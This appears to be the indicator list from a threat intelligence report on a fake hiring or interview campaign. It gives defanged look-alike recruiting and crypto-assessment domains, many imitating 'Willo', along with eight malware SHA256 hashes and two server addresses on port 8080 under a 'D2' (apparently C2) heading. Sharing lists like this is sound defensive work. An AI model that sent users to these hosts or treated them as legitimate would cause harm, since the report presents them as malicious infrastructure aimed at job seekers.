 app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com

SHA256

 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182

D2

 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080